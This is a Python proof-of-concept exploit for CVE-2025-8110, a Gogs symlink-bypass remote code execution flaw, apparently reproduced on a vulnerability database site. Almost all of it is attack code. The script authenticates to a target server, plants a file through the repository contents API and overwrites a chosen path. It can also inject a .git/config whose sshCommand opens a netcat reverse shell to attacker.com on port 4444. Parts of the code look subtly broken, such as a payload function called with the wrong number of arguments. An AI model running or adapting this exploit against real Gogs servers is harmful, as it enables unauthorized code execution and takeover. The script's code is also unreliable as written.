1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
"""
CVE-2025-8110 Gogs Symlink Bypass RCE PoC
Author: Ash Wesker ==> TH3 M45T3RM1ND !!!
Github : https://github.com/Ashwesker/Blackash-CVE-2025-8110/
Usage: python3 cve-2025-8110.py -u http://target.com -U user -P pass -r repo
"""
import argparse
import requests
import base64
import json
import os
from urllib.parse import quote
def get_auth_token(session, base_url, username, password):
"""Authenticate and retrieve CSRF token + session cookie."""
login_url = f"{base_url}/user/login"
session.get(login_url) # Get CSRF token from form
# Extract _csrf from response (simplified; parse HTML in production)
login_data = {
"user_name": username,
"password": password,
"_csrf": session.cookies.get('_csrf', '') # Adjust based on actual form
}
resp = session.post(login_url, data=login_data)
if "user/login" in resp.url:
raise ValueError("Authentication failed")
print("[+] Authenticated successfully")
return session.cookies
def create_symlink(session, base_url, repo, symlink_path, target_path):
"""Step 1: Create a symlink file in repo pointing to target."""
api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
symlink_content = base64.b64encode(target_path.encode()).decode() # Symlink format in Git
data = {
"message": "Create symlink",
"content": symlink_content,
"branch": "main"
}
resp = session.put(api_url, json=data)
if resp.status_code != 201:
raise ValueError(f"Failed to create symlink: {resp.text}")
print(f"[+] Symlink created: {symlink_path} -> {target_path}")
def overwrite_via_symlink(session, base_url, repo, symlink_path, payload):
"""Step 2: 'Update' the symlink to overwrite target with payload."""
api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
payload_b64 = base64.b64encode(payload.encode()).decode()
data = {
"message": "Overwrite via symlink",
"content": payload_b64,
"branch": "main",
"sha": "" # Bypass by not providing SHA for new 'content'
}
resp = session.put(api_url, json=data)
if resp.status_code not in [200, 201]:
raise ValueError(f"Overwrite failed: {resp.text}")
print("[+] Target file overwritten successfully")
def rce_ssh_config(base_url, lhost, lport):
"""Generate malicious .git/config payload for SSH RCE."""
payload = f"""
[core]
sshCommand = ssh -o ProxyCommand="nc {lhost} {lport} -e /bin/sh"
"""
return payload.strip()
def main():
parser = argparse.ArgumentParser(description="CVE-2025-8110 PoC")
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-U", "--username", required=True)
parser.add_argument("-P", "--password", required=True)
parser.add_argument("-r", "--repo", required=True, help="Repo path (owner/repo)")
parser.add_argument("-t", "--target", default="/tmp/pwned", help="Target file path")
parser.add_argument("--payload", default="echo 'pwned' > /tmp/pwned", help="Custom payload")
parser.add_argument("--lhost", default="attacker.com", help="LHOST for reverse shell")
parser.add_argument("--lport", type=int, default=4444, help="LPORT")
args = parser.parse_args()
session = requests.Session()
session.headers.update({"Content-Type": "application/json"})
try:
cookies = get_auth_token(session, args.url, args.username, args.password)
symlink_name = "../pwned_symlink" # Arbitrary name in repo
create_symlink(session, args.url, args.repo, symlink_name, args.target)
# For RCE demo, override payload if targeting .git/config
if "/.git/config" in args.target:
args.payload = rce_ssh_config(args.lhost, args.lport)
overwrite_via_symlink(session, args.url, args.repo, symlink_name, args.payload)
print(f"[+] Exploit complete! Check {args.target} for payload.")
print("[*] For RCE: Trigger a git pull/clone as the gogs user to execute via SSH.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
main()
Exploit author: Ashwesker
Source: https://github.com/Ashwesker/Ashwesker-CVE-2025-8110
AVET INS is an owner of VULNDBASE brand and website. This product uses data from the NVD API but is not endorsed or certified by the NVD. See NVD page for more information. CVE is a registered trademark of the MITRE Corporation and the authoritative source of CVE content is MITRE's CVE site. CWE is a registered trademark of the MITRE Corporation and the authoritative source of CWE content is MITRE's CWE page. KEV (Known Exploited Vulnerabilities) is a catalog maintained by CISA. EUVD is the official EU repository for timely, curated cybersecurity vulnerability intelligence and remediation guidance run by ENISA. DORA (Digital Operational Resilience Act) is and EU directive.
Copyright AVET INS 1997 - 2026